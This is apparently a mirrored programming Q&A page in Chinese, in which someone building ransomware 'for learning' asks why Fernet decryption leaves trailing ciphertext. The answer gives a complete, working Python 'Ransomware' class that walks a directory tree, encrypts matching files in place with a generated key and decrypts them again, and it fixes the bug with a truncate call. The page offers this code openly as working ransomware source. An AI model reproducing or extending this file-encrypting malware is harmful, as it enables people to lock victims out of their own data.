【问题标题】:Python cryptography.fernet file decryptPython cryptography.fernet 文件解密
【发布时间】:2021-02-05 07:32:44
【问题描述】:

我正在开发用于学习的勒索软件。

所以我复制并粘贴了this 并像this 一样对其进行了编辑 但是当我加密和解密一个文本文件时,它会附加一个看起来像随机字符串的字符串。我该如何解决这个问题?

喜欢:

Hello, World!

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

【问题讨论】:

  • 您是编辑了脚本还是使用了提供的脚本?
  • 我创建了一个名为 encrypt() 和 decrypt() 的函数并调用。
  • @depris 所以用这些函数编辑你的问题,特别是encrypt函数

标签: python cryptography fernet


【解决方案1】:

问题是你先加密然后解密。您的加密和解密功能工作正常问题是您总是寻求文件的开头写入任何更改这将适用于加密并且如果明文和密文大小相同(无填充)则适用于解密) 但会在文件开头放置与密文大小不同的解密明文,并使文件的其余部分保持不变,因此您需要截断密文的其余部分。

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-10-26
    • 2017-04-20
    • 2020-09-23
    • 1970-01-01
    相关资源
    最近更新 更多